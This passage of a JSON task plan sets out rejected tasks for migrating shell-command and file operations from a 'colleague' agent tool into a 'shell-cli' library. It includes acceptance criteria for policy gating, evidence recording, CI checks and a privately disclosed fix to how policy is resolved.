"h45" + ], + "instruction": "" + }, + { + "id": "t27", + "summary": "[colleague / security-lane / separate review] Harden child policy as a restriction of the parent: child_effective = parent_cap INTERSECT source_root_child_model_policy, deny winning and allowlists intersecting. owns: colleague/policy.py, subagents.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A child cannot obtain a broader run_command allowance than its parent by selecting a different model", + "Ships as its own reviewed change with migration notes, NOT bundled into the security release" + ], + "deps": [ + "t27" + ], + "covers": [ + "c52", + "h40" + ], + "instruction": "" + }, + { + "id": "t28", + "summary": "[colleague / security-lane / no release] Resolve policy+hooks from the operator source root and carry that identity through nested worktrees and children \u2014 RESOLUTION ONLY, per-model overlay semantics unchanged. owns: colleague/policy.py, loop.py, worktrees.py, subagents.py, cli/_commands/work.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A repo-level approvals.json with a deny still denies when 'colleague work' runs isolated \u2014 regression test over the isolation worktree path", + "A nested subagent inherits the source-root snapshot; regression test covers the nested-worktree case", + "Per-model overlay behaviour is byte-identical before and after \u2014 the security release changes resolution only", + "An expected-but-unresolved policy emits a visible diagnostic, never a silent allow-all", + "Disclosed via private security advisory, fixed, released, then publicly disclosed" + ], + "deps": [], + "covers": [ + "c49", + "h37", + "c50", + "h38", + "c67", + "h62" + ], + "instruction": "" + }, + { + "id": "t29", + "summary": "[colleague / security-lane / separate review] Harden child policy as a restriction of the parent: child_effective = parent_cap INTERSECT source_root_child_model_policy, deny winning and allowlists intersecting. owns: colleague/policy.py, subagents.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A child cannot obtain a broader run_command allowance than its parent by selecting a different model", + "Ships as its own reviewed change with migration notes, never bundled into the security release" + ], + "deps": [ + "t28" + ], + "covers": [ + "c52", + "h40" + ], + "instruction": "" + }, + { + "id": "t30", + "summary": "[shell-cli / M0 / no release] Post the six-part Milestone 0/1 plan on issue #1 and bring every guidance surface in line with the operations-plane issue. owns: issue #1, CLAUDE.md, AGENTS.colleague.md, README.md, docs/threat-model.md", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The issue reply names all six items from section 17; no shell-cli implementation PR merges before it is posted", + "grep across all guidance surfaces finds no subclass seam and no settled question presented as open", + "docs/threat-model.md carries a per-runner split with no sentence covering both host guard and container isolation" + ], + "deps": [], + "covers": [ + "c19", + "h58", + "c6", + "h2", + "c39", + "h25", + "c33", + "h14", + "c8", + "h51" + ], + "instruction": "" + }, + { + "id": "t31", + "summary": "[shell-cli / M0 / no release] Commit the inventory scanner with its pinned SHA and wire --check into CI as a known-debt gate publishing debt_remaining. owns: scripts/colleague_inventory.py, .github/workflows/tests.yml", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "--check exits 0 at the pinned commit and non-zero on any unclassified spawn path, proven against a synthetic fixture", + "CI publishes debt_remaining every run, derived from the committed ALLOWLIST", + "Every guidance surface derives the 21-spawn/15-module figure from the scanner rather than transcribing it", + "SCOPE HONESTY: this task installs and reports the counter; driving 13 to 0 is Milestone 3 and is explicitly NOT delivered here" + ], + "deps": [], + "covers": [ + "c23", + "h26", + "c40", + "h27", + "c58", + "h43", + "c29", + "h17" + ], + "instruction": "" + }, + { + "id": "t32", + "summary": "[shell-cli / M0 / no release] Capture legacy behaviour as fixtures from the FIXED colleague and build the differential characterization harness \u2014 BEFORE any shell-cli implementation exists. owns: tests/characterization/, tests/fixtures/colleague/", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Fixtures are generated from colleague at a recorded SHA AFTER the c49 fix, never hand-written, so the bug is never encoded as parity", + "Six tool schemas pinned byte-for-byte including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes", + "The harness runs both implementations over the same fixtures in one session; schema-diff, dependency-count and behavioural-diff counts are CI assertions failing on non-zero" + ], + "deps": [ + "t28" + ], + "covers": [ + "c31", + "h19", + "c36", + "h21", + "c16", + "h9" + ], + "instruction": "" + }, + { + "id": "t33", + "summary": "[shell-cli+colleague / M0 / no release] Install the source-hash drift gate BEFORE extraction begins, so divergence in either copy of the six handlers is detected mechanically. owns: tests/test_drift_gate.py, scripts/handler_hashes.json", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A change to either copy of the six handlers during the migration window fails CI rather than relying on a human remembering", + "Characterization fixtures are regenerated from colleague at a pinned commit, never hand-maintained", + "The gate is live before the first extraction PR, not after both implementations exist" + ], + "deps": [ + "t32" + ], + "covers": [ + "c59", + "h44" + ], + "instruction": "" + }, + { + "id": "t34", + "summary": "[shell-cli / M0 / no release] Establish the release and publishing contract: full-suite gating, clean-environment wheel install, smoke test against the installed wheel, bounded colleague pin, and a yank/fix-forward runbook. owns: .github/workflows/publish.yml, docs/release-runbook.md", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Publish depends on the complete test/lint/honesty suite; the wheel is built and installed into a clean environment and a CLI/import smoke test runs against that installed wheel", + "colleague pins shell-cli with an upper bound (e.g. >=0.8,<0.9) until 1.0", + "The colleague PR adding the dependency updates test_base_dependency_is_exactly_agentfront AND its docstring in the same commit", + "A yank-and-fix-forward runbook exists before Milestone 1 publishes anything colleague depends on", + "The security fix is explicitly exempt from the migration-proposal gate" + ], + "deps": [], + "covers": [ + "c64", + "h59", + "c41", + "h29", + "c42", + "h30", + "c43", + "h31", + "c55", + "h55", + "c38", + "h57" + ], + "instruction": "" + }, + { + "id": "t35", + "summary": "[shell-cli / M1 / PR1 / publishes] FOUNDATION: Operation, OperationResult, Environment with schema_version, the lifecycle pipeline, HostRunner skeleton \u2014 WITH the zero-dep guard and honesty gate in this same PR. owns: shell/operations.py, results.py, environment.py, tests/test_zero_deps.py, tests/test_honesty.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The same Operation through the library API and through the CLI yields identical status, policy verdict and effects; the CLI reaches no path the library cannot", + "The zero-dep guard ships IN THIS PR: asserts dependencies literally, snapshots sys.modules, and fails when a third-party import is added", + "shell-cli's import graph contains no colleague module; colleague contracts appear nowhere in shell-cli source", + "Every new surface passes test_honesty.py so no unguarded surface can land first", + "A preview is reported as its own status, never as success" + ], + "deps": [ + "t30" + ], + "covers": [ + "c61", + "h46", + "c27", + "h15", + "c30", + "h18", + "c2", + "h48", + "c4", + "h50", + "c3", + "h49" + ], + "instruction": "" + }, + { + "id": "t36", + "summary": "[shell-cli / M1 / PR2 / publishes] Evidence surface: effects-completeness marker, redaction scope, schema_version on persisted records, storage location, retention, and degraded-evidence behaviour. owns: shell/evidence.py, docs/evidence-contract.md", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A process.shell operation writing an undeclared file reports effects_complete = false; no consumer renders an empty effect list as 'no changes'", + "The contract states which secret classes are redacted and which are not; a test shows a declared secret redacted while acknowledging an undeclared secret echoed by a command is not", + "schema_version is readable off Operation, OperationResult and any persisted evidence record; storage location and retention are documented", + "A forced evidence-write failure yields a result explicitly marked degraded, never a silent success", + "A lint operation that rewrites files reports those paths in changed-paths effects" + ], + "deps": [ + "t35" + ], + "covers": [ + "c45", + "h33", + "c46", + "h34", + "c66", + "h61", + "c25", + "h13" + ], + "instruction": "" + }, + { + "id": "t37", + "summary": "[shell-cli / M1 / PR3 / publishes] Port the policy evaluator with no config-dir coupling, and snapshot policy from source_root with generalised read-only paths. owns: shell/policy.py, tests/test_policy.py. consumes: colleague @ fixed SHA", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own", + "colleague's existing approvals.json files load through the adapter and produce byte-identical verdicts", + "Absent, malformed and expected-but-unresolved remain three distinct states; a malformed declared gate never becomes allow-all", + "An operation whose work_root contains a policy file cannot change its own active authorization \u2014 the source_root snapshot governs" + ], + "deps": [ + "t35", + "t28" + ], + "covers": [ + "c26", + "h54", + "c11", + "h5", + "c12", + "h6" + ], + "instruction": "" + }, + { + "id": "t38", + "summary": "[shell-cli / M1 / PR4 / publishes] Evaluate policy INSIDE the operation dispatch on REWRITTEN arguments, so no caller can route around the gate. owns: shell/operations.py dispatch, tests/test_dispatch_policy.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A caller invoking dispatch directly with no orchestration layer still receives the policy verdict \u2014 verified by calling it with no loop present", + "A rewrite turning an ALLOWED command into a DENIED one is caught, because the gate inspects rewritten arguments not the original call", + "A rewrite may change arguments only; the operation kind passes through unchanged" + ], + "deps": [ + "t37" + ], + "covers": [ + "c53", + "h41", + "c56", + "h56" + ], + "instruction": "" + }, + { + "id": "t39", + "summary": "[shell-cli / M1 / PR5 / publishes] HostRunner execution semantics: process groups, timeout and cancellation escalation, orphan-prevention honesty. owns: shell/runners/host.py, tests/test_host_runner.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Commands start in their own process group; on timeout or cancel the group is terminated, waited briefly, then killed", + "Evidence records the termination signal and the escalation path, so a killed operation is distinguishable from a self-exit", + "Platforms where orphan prevention is incomplete are named in documentation rather than implied to be universal" + ], + "deps": [ + "t36", + "t38" + ], + "covers": [ + "c65", + "h60" + ], + "instruction": "" + }, + { + "id": "t40", + "summary": "[shell-cli / M1 / PR6 / publishes] fs.read and fs.list in their own module, preserving number-then-truncate and the recoverable-error wrapper. owns: shell/fs/read.py, shell/fs/list.py (DISJOINT from write/media)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A truncated read's surviving line numbers match the real file \u2014 numbering precedes truncation", + "A handler raising an unexpected exception yields a recoverable model-visible error, never a run abort", + "Paths escaping the configured root are refused" + ], + "deps": [ + "t38" + ], + "covers": [ + "c17", + "h52" + ], + "instruction": "" + }, + { + "id": "t41", + "summary": "[shell-cli / M1 / PR7 / publishes] fs.write and fs.edit in their own module with byte accounting; executor constructor already hoisted into the M1 foundation. owns: shell/fs/write.py (DISJOINT from read/media)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The executor serves the six primitives without requiring spawn, batch_spawn, deepthink or an allowlist", + "colleague composes the executor without subclassing it", + "bytes_written matches colleague: full content on write, replacement bytes only on edit" + ], + "deps": [ + "t38" + ], + "covers": [ + "c18", + "h53" + ], + "instruction": "" + }, + { + "id": "t42", + "summary": "[shell-cli / M1 / PR8 / publishes] fs.media in its own module, vendoring only the media slice while preserving the handler-level 4 MiB cap and images-only rule. owns: shell/fs/media.py (DISJOINT from read/write)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A 5 MiB PNG is REFUSED and an audio file refused with the images-only message, asserted against both the colleague and shell-cli paths", + "A source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli", + "colleague's five media call sites stay green against its retained copy" + ], + "deps": [ + "t38" + ], + "covers": [ + "c15", + "h8", + "c10", + "h4", + "c44", + "h32" + ], + "instruction": "" + }, + { + "id": "t43", + "summary": "[shell-cli / M1 / PR9 / publishes] process.exec and process.shell with distinct declared profiles and separately captured stdout/stderr. owns: shell/process/exec.py, shell/process/shell.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "OperationResult always captures stdout and stderr SEPARATELY; the colleague adapter renders the legacy concatenated string during parity", + "process.shell and hook execution carry distinct profiles in evidence, so an operator can tell model-authored from repo-authored", + "Control operations use argv vectors, never raw shell strings", + "run_command parity: fresh shell, rooted cwd, bounded timeout, current output rendering" + ], + "deps": [ + "t39" + ], + "covers": [ + "c24", + "h12" + ], + "instruction": "" + }, + { + "id": "t44", + "summary": "[shell-cli / M1 / PR10 / publishes] Policy and operation CLI surface with honest scope reporting; catalog and explain entries land in the SAME PR as each verb. owns: shell/cli/_commands/policy.py, operation.py, shell/explain/catalog.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "'shell policy check' returns the same Verdict the execution path would apply \u2014 same allow/deny and same reason string", + "'shell policy explain' names gated operation kinds AND reports ungated kinds as explicitly ungated rather than omitting them", + "Registering a verb with no catalog entry fails CI; every noun with action-verbs exposes 'overview'", + "No standalone docs task exists \u2014 catalog/explain/Status updates ship inside each verb's own PR" + ], + "deps": [ + "t38" + ], + "covers": [ + "c13", + "h7", + "c51", + "h39", + "c7", + "h3" + ], + "instruction": "" + }, + { + "id": "t45", + "summary": "[colleague / M2 / no shell-cli release] Run differential parity against the characterization harness, then remove colleague's legacy implementation. owns: colleague/tools.py (legacy handler removal)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Old and new paths run against identical fixtures in the same session with zero behavioural diffs BEFORE any legacy code is deleted", + "The six schemas remain byte-identical through the cutover", + "Legacy handlers are removed only after parity is green, and the drift gate is retired in the same PR" + ], + "deps": [ + "t45" + ], + "covers": [ + "c31", + "h19" + ], + "instruction": "" + }, + { + "id": "t46", + "summary": "[colleague / M2 / no shell-cli release] Add the bounded shell-cli dependency and compose the adapter into colleague's router WITHOUT subclassing, preserving roles, hooks, policy ordering, result mapping and accounting. owns: colleague/tools.py, loop.py, pyproject.toml, tests/test_zero_deps.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "colleague composes shell-cli into its existing router; no subclassing", + "Role curation and runtime refusal, hook rewrite before policy, and policy-denial telemetry meaning are unchanged", + "write_file/edit_file still apply immediately through the adapter; changed-file, subagent and bytes_written accounting stay intact", + "The dependency lands with an upper bound, and the zero-deps test plus its docstring are updated in the same commit" + ], + "deps": [ + "t34", + "t43", + "t44" + ], + "covers": [], + "instruction": "" + }, + { + "id": "t47", + "summary": "[shell-cli / M1 / PR11 / publishes] Assert the WebGlass boundary structurally: separate repository, separate colleague capability seam, provider-neutral artifact transfer only. owns: tests/test_boundaries.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "No shell-cli module imports or invokes webglass, asserted by a source/import scan", + "No plan task in this repo depends on a webglass release; artifact transfer uses neutral data shapes owned by neither" + ], + "deps": [ + "t35" + ], + "covers": [ + "c68", + "h63" + ], + "instruction": "" + }, + { + "id": "t48", + "summary": "[colleague / M2 / no shell-cli release] Run differential parity against the characterization harness, then remove colleague's legacy implementation. owns: colleague/tools.py (legacy handler removal)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Old and new paths run against identical fixtures in the same session with zero behavioural diffs BEFORE any legacy code is deleted", + "The six schemas remain byte-identical through the cutover", + "Legacy handlers are removed only after parity is green; the drift gate is retired in the same PR" + ], + "deps": [ + "t46" + ], + "covers": [ + "c31", + "h19" + ], + "instruction": "" + }, + { + "id": "t49", + "summary": "[colleague / security-lane / PUBLISHES a fixed colleague release] Private security PR: resolve policy+hooks from the operator source root and carry that identity through nested worktrees and children \u2014 RESOLUTION ONLY, per-model overlay semantics unchanged. owns: colleague/policy.py, loop.py, worktrees.py, subagents.py, cli/_commands/work.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A repo-level approvals.json with a deny still denies when 'colleague work' runs isolated \u2014 regression test over the isolation worktree path", + "A nested subagent inherits the source-root snapshot; regression test covers the nested-worktree case", + "Per-model overlay behaviour is byte-identical before and after \u2014 the release changes resolution only", + "An expected-but-unresolved policy emits a visible diagnostic, never a silent allow-all", + "Lands as a PRIVATE security advisory / private fix PR and PUBLISHES a fixed colleague release; public disclosure follows the release" + ], + "deps": [], + "covers": [ + "c49", + "h37", + "c50", + "h38", + "c67", + "h62" + ], + "instruction": "" + }, + { + "id": "t50", + "summary": "[colleague / security-lane / separate review / publishes] Harden child policy as a restriction of the parent: child_effective = parent_cap INTERSECT source_root_child_model_policy, deny winning and allowlists intersecting. owns: colleague/policy.py, subagents.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A child cannot obtain a broader run_command allowance than its parent by selecting a different model", + "Ships as its own reviewed change with migration notes, never bundled into the security release" + ], + "deps": [ + "t49" + ], + "covers": [ + "c52", + "h40" + ], + "instruction": "" + }, + { + "id": "t51", + "summary": "[shell-cli / M0 / PR1 \u2014 FIRST MERGED shell-cli PR / publishes scaffold-only release] Release and publishing hardening BEFORE any later merge publishes: full-suite gating, clean-environment wheel install, smoke test against the installed wheel, bounded colleague pin, yank/fix-forward runbook. owns: .github/workflows/publish.yml, docs/release-runbook.md", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Publish depends on the COMPLETE test/lint/honesty suite; the wheel is built and installed into a clean environment and a CLI/import smoke test runs against that INSTALLED wheel", + "colleague pins shell-cli with an upper bound (e.g. >=0.8,<0.9) until 1.0", + "The colleague PR adding the dependency updates test_base_dependency_is_exactly_agentfront AND its docstring in the same commit", + "A yank-and-fix-forward runbook exists before anything colleague depends on is published", + "The security fix is explicitly exempt from the migration-proposal gate", + "This PR merges FIRST \u2014 every subsequent shell-cli merge publishes, so hardening must already be in place" + ], + "deps": [], + "covers": [ + "c64", + "h59", + "c41", + "h29", + "c42", + "h30", + "c43", + "h31", + "c55", + "h55", + "c38", + "h57" + ], + "instruction": "" + }, + { + "id": "t52", + "summary": "[shell-cli / M0 / PR2 / publishes scaffold-only release] Post the six-part Milestone 0/1 plan on issue #1, align every guidance surface with the operations-plane issue, and document the WebGlass peer-seam boundary. owns: issue #1, CLAUDE.md, AGENTS.colleague.md, README.md", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The issue reply names all six items from section 17; no shell-cli implementation PR merges before it is posted", + "grep across all guidance surfaces finds no subclass seam and no settled question presented as open", + "The WebGlass boundary is documented as a colleague peer seam with provider-neutral artifact transfer only \u2014 not a shell-cli feature", + "DEFERRED: the ContainerRunner-specific threat-model split is Milestone 4 and is NOT delivered here" + ], + "deps": [ + "t51" + ], + "covers": [ + "c19", + "h58", + "c6", + "h2", + "c39", + "h25", + "c33", + "h14", + "c68", + "h63" + ], + "instruction": "" + }, + { + "id": "t53", + "summary": "[shell-cli / M0 / PR3 / publishes scaffold-only release] Commit the inventory scanner with its pinned SHA and wire --check into CI as a known-debt gate that publishes debt_remaining. owns: scripts/colleague_inventory.py, .github/workflows/tests.yml", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "--check exits 0 at the pinned commit and non-zero on any unclassified spawn path, proven against a synthetic fixture", + "CI publishes debt_remaining every run, derived from the committed ALLOWLIST", + "Every guidance surface derives the 21-spawn/15-module figure from the scanner rather than transcribing it", + "DEFERRED: this task installs and reports the counter ONLY. Driving debt from 13 to zero is Milestone 3 and is explicitly NOT covered here" + ], + "deps": [ + "t51" + ], + "covers": [ + "c23", + "h26", + "c58", + "h43" + ], + "instruction": "" + }, + { + "id": "t54", + "summary": "[shell-cli / M0 / PR4 / publishes scaffold-only release] Capture the FIXED colleague baseline: generate schemas and fixtures, build the provider-neutral harness interface, and prove fixture regeneration. Differential execution belongs to M2. owns: tests/characterization/, tests/fixtures/colleague/", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Fixtures and the six schemas are generated from colleague at a recorded SHA AFTER the security fix \u2014 never hand-written, so the bug is never encoded as parity", + "Schemas are pinned byte-for-byte including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes", + "The harness interface is provider-neutral \u2014 it can drive an implementation that does not exist yet", + "Fixture regeneration is proven: re-running against the same SHA reproduces byte-identical fixtures", + "SCOPE: this task does NOT run both implementations \u2014 no shell-cli implementation exists yet. Differential parity is owned by the M2 parity task" + ], + "deps": [ + "t49", + "t51" + ], + "covers": [ + "c16", + "h9" + ], + "instruction": "" + }, + { + "id": "t55", + "summary": "[shell-cli+colleague / M0 / PR5 / publishes scaffold-only release] Install the source-hash drift gate BEFORE extraction begins. owns: tests/test_drift_gate.py, scripts/handler_hashes.json", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A change to either copy of the six handlers during the migration window fails CI rather than relying on a human remembering", + "Characterization fixtures are regenerated from colleague at a pinned commit, never hand-maintained", + "The gate is live before the first extraction PR, not after both implementations exist" + ], + "deps": [ + "t54" + ], + "covers": [ + "c59", + "h44" + ], + "instruction": "" + }, + { + "id": "t56", + "summary": "[shell-cli / M1 / PR6 / publishes] FOUNDATION: Operation, OperationResult, Environment with schema_version, the lifecycle pipeline, HostRunner skeleton \u2014 WITH the zero-dep guard, honesty gate and WebGlass negative-import check in this same PR. owns: shell/operations.py, results.py, environment.py, shell/fs/__init__.py exports, tests/test_zero_deps.py, tests/test_honesty.py, tests/test_boundaries.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The zero-dep guard ships IN THIS PR: asserts dependencies literally, snapshots sys.modules, and fails when a third-party import is added", + "shell-cli's import graph contains no colleague module and no webglass module; colleague contracts appear nowhere in shell-cli source", + "Every new surface passes test_honesty.py so no unguarded surface can land first", + "A preview is reported as its own status, never as success", + "shell/fs/__init__.py declares its exports ONCE here, so the later disjoint fs modules never contend for it" + ], + "deps": [ + "t54", + "t51" + ], + "covers": [ + "c61", + "h46", + "c27", + "h15", + "c30", + "h18", + "c2", + "h48", + "c4", + "h50", + "c3", + "h49" + ], + "instruction": "" + }, + { + "id": "t57", + "summary": "[shell-cli / M1 / PR7 / publishes] Evidence contract: effects-completeness marker, redaction scope, schema_version on persisted records, storage location, retention, degraded-evidence behaviour \u2014 tested against SYNTHETIC results. owns: shell/evidence.py, docs/evidence-contract.md", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A synthetic shell-shaped result with an undeclared write reports effects_complete = false; no consumer renders an empty effect list as 'no changes'", + "The contract states which secret classes are redacted and which are not; a test shows a declared secret redacted while acknowledging an undeclared secret echoed by a command is not", + "schema_version is readable off Operation, OperationResult and any persisted evidence record; storage location and retention are documented", + "A forced evidence-write failure yields a result explicitly marked degraded, never a silent success", + "SCOPE: contract-level only against synthetic results. Real process.shell integration is the M1 process task; real colleague lint routing is Milestone 3 and is NOT covered here" + ], + "deps": [ + "t56" + ], + "covers": [ + "c45", + "h33", + "c46", + "h34", + "c66", + "h61" + ], + "instruction": "" + }, + { + "id": "t58", + "summary": "[shell-cli / M1 / PR8 / publishes] Port the policy evaluator with no config-dir coupling, and snapshot policy from source_root with generalised read-only paths. owns: shell/policy.py, tests/test_policy.py. consumes: colleague @ fixed SHA", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own", + "colleague's existing approvals.json files load through the adapter and produce byte-identical verdicts", + "Absent, malformed and expected-but-unresolved remain three distinct states; a malformed declared gate never becomes allow-all", + "An operation whose work_root contains a policy file cannot change its own active authorization \u2014 the source_root snapshot governs", + "Extraction begins only with the drift gate already live" + ], + "deps": [ + "t56", + "t55", + "t49" + ], + "covers": [ + "c26", + "h54", + "c11", + "h5", + "c12", + "h6" + ], + "instruction": "" + }, + { + "id": "t59", + "summary": "[shell-cli / M1 / PR9 / publishes] Evaluate policy INSIDE the operation dispatch on REWRITTEN arguments, so no caller can route around the gate. owns: shell/operations.py dispatch, tests/test_dispatch_policy.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A caller invoking dispatch directly with no orchestration layer still receives the policy verdict", + "A rewrite turning an ALLOWED command into a DENIED one is caught, because the gate inspects rewritten arguments not the original call", + "A rewrite may change arguments only; the operation kind passes through unchanged" + ], + "deps": [ + "t58" + ], + "covers": [ + "c53", + "h41", + "c56", + "h56" + ], + "instruction": "" + }, + { + "id": "t60", + "summary": "[shell-cli / M1 / PR10 / publishes] HostRunner execution semantics: process groups, timeout and cancellation escalation, orphan-prevention honesty. owns: shell/runners/host.py, tests/test_host_runner.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Commands start in their own process group; on timeout or cancel the group is terminated, waited briefly, then killed", + "Evidence records the termination signal and the escalation path, so a killed operation is distinguishable from a self-exit", + "Platforms where orphan prevention is incomplete are named in documentation rather than implied to be universal" + ], + "deps": [ + "t57", + "t59" + ], + "covers": [ + "c65", + "h60" + ], + "instruction": "" + }, + { + "id": "t61", + "summary": "[shell-cli / M1 / PR11 / publishes] fs.read and fs.list, preserving number-then-truncate and the recoverable-error wrapper. owns: shell/fs/read.py, shell/fs/list.py (DISJOINT)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A truncated read's surviving line numbers match the real file \u2014 numbering precedes truncation", + "A handler raising an unexpected exception yields a recoverable model-visible error, never a run abort", + "Paths escaping the configured root are refused", + "Results carry schema_version and a completeness marker from the evidence contract" + ], + "deps": [ + "t59", + "t57" + ], + "covers": [ + "c17", + "h52" + ], + "instruction": "" + }, + { + "id": "t62", + "summary": "[shell-cli / M1 / PR12 / publishes] fs.write and fs.edit with byte accounting; the executor constructor is already hoisted into the foundation. owns: shell/fs/write.py (DISJOINT)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The executor serves the six primitives without requiring spawn, batch_spawn, deepthink or an allowlist", + "colleague composes the executor without subclassing it", + "bytes_written matches colleague: full content on write, replacement bytes only on edit", + "Results carry schema_version and declared changed-path effects" + ], + "deps": [ + "t59", + "t57" + ], + "covers": [ + "c18", + "h53" + ], + "instruction": "" + }, + { + "id": "t63", + "summary": "[shell-cli / M1 / PR13 / publishes] fs.media vendoring only the media slice while preserving the handler-level 4 MiB cap and images-only rule. owns: shell/fs/media.py (DISJOINT)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A 5 MiB PNG is REFUSED and an audio file refused with the images-only message, asserted against both the colleague and shell-cli paths", + "A source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli", + "colleague's five media call sites stay green against its retained copy", + "The media result is provider-neutral and carries schema_version" + ], + "deps": [ + "t59", + "t57" + ], + "covers": [ + "c15", + "h8", + "c10", + "h4", + "c44", + "h32" + ], + "instruction": "" + }, + { + "id": "t64", + "summary": "[shell-cli / M1 / PR14 / publishes] process.exec and process.shell with distinct profiles, separately captured stdout/stderr, and REAL effects/redaction integration. owns: shell/process/exec.py, shell/process/shell.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "OperationResult always captures stdout and stderr SEPARATELY; the colleague adapter renders the legacy concatenated string during parity", + "process.shell and hook execution carry distinct profiles in evidence, so an operator can tell model-authored from repo-authored", + "REAL integration: an actual shell command writing an undeclared file reports effects_complete = false, and a real command echoing a declared secret has it redacted", + "Control operations use argv vectors, never raw shell strings", + "run_command parity: fresh shell, rooted cwd, bounded timeout, current output rendering" + ], + "deps": [ + "t60" + ], + "covers": [ + "c24", + "h12", + "c25" + ], + "instruction": "" + }, + { + "id": "t65", + "summary": "[shell-cli / M1 / PR14 / publishes] process.exec and process.shell with distinct profiles, separately captured stdout/stderr, and REAL effects/redaction integration. owns: shell/process/exec.py, shell/process/shell.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "OperationResult always captures stdout and stderr SEPARATELY; the colleague adapter renders the legacy concatenated string during parity", + "process.shell and hook execution carry distinct profiles in evidence, so an operator can tell model-authored from repo-authored", + "REAL integration: an actual shell command writing an undeclared file reports effects_complete = false, and a real command echoing a declared secret has it redacted", + "Control operations use argv vectors, never raw shell strings", + "run_command parity: fresh shell, rooted cwd, bounded timeout, current output rendering", + "DEFERRED: routing colleague's real lint/run_tests/hook execution through these operations is Milestone 3 and is NOT covered here" + ], + "deps": [ + "t60" + ], + "covers": [ + "c24", + "h12" + ], + "instruction": "" + }, + { + "id": "t66", + "summary": "[shell-cli / M1 / PR15 / publishes] Policy and operation CLI surface with honest scope reporting and library-versus-CLI equivalence; catalog and explain entries land in the SAME PR as each verb. owns: shell/cli/_commands/policy.py, operation.py, shell/explain/catalog.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The same Operation driven through the library API and through the CLI yields identical status, policy verdict and effects; the CLI reaches no execution path the library cannot", + "'shell policy check' returns the same Verdict the execution path would apply \u2014 same allow/deny and same reason string", + "'shell policy explain' names gated operation kinds AND reports ungated kinds as explicitly ungated rather than omitting them", + "'shell operation show' retrieves persisted evidence written under the evidence contract", + "Registering a verb with no catalog entry fails CI; every noun with action-verbs exposes 'overview'" + ], + "deps": [ + "t59", + "t57" + ], + "covers": [ + "c13", + "h7", + "c51", + "h39", + "c7", + "h3" + ], + "instruction": "" + }, + { + "id": "t67", + "summary": "[colleague / M2 / PR1 / publishes a colleague release] Add the bounded shell-cli dependency and compose the adapter into colleague's router WITHOUT subclassing, preserving roles, hooks, policy ordering, result mapping and accounting. owns: colleague/tools.py, loop.py, pyproject.toml, tests/test_zero_deps.py", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "colleague composes shell-cli into its existing router; no subclassing", + "Role curation and runtime refusal, hook rewrite before policy, and policy-denial telemetry meaning are unchanged", + "write_file/edit_file still apply immediately through the adapter; changed-file, subagent and bytes_written accounting stay intact", + "The adapter renders the legacy concatenated stdout+stderr string so model-visible behaviour is unchanged", + "The dependency lands with an upper bound, and the zero-deps test plus its docstring are updated in the same commit" + ], + "deps": [ + "t61", + "t62", + "t63", + "t65", + "t66" + ], + "covers": [], + "instruction": "" + }, + { + "id": "t68", + "summary": "[colleague / M2 / PR2 / publishes a colleague release] Run differential parity \u2014 both implementations in one session over identical fixtures \u2014 then remove colleague's legacy implementation. owns: colleague/tools.py (legacy handler removal)", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Both implementations run against identical fixtures IN THE SAME SESSION with zero behavioural differences BEFORE any legacy code is deleted", + "Schema-diff count, base dependency count and behavioural-diff count are CI assertions that fail the build when non-zero", + "The six schemas remain byte-identical through the cutover", + "Legacy handlers are removed only after parity is green; the drift gate is retired in the same PR" + ], + "deps": [ + "t67" + ], + "covers": [ + "c31", + "h19", + "c36", + "h21" + ], + "instruction": "" + }, + { + "id": "t69", + "summary": "[colleague / security-lane / PUBLISHES a fixed colleague release] Private security PR: resolve policy+hooks from the operator source root and carry that identity through nested worktrees and children \u2014 RESOLUTION ONLY, per-model overlay 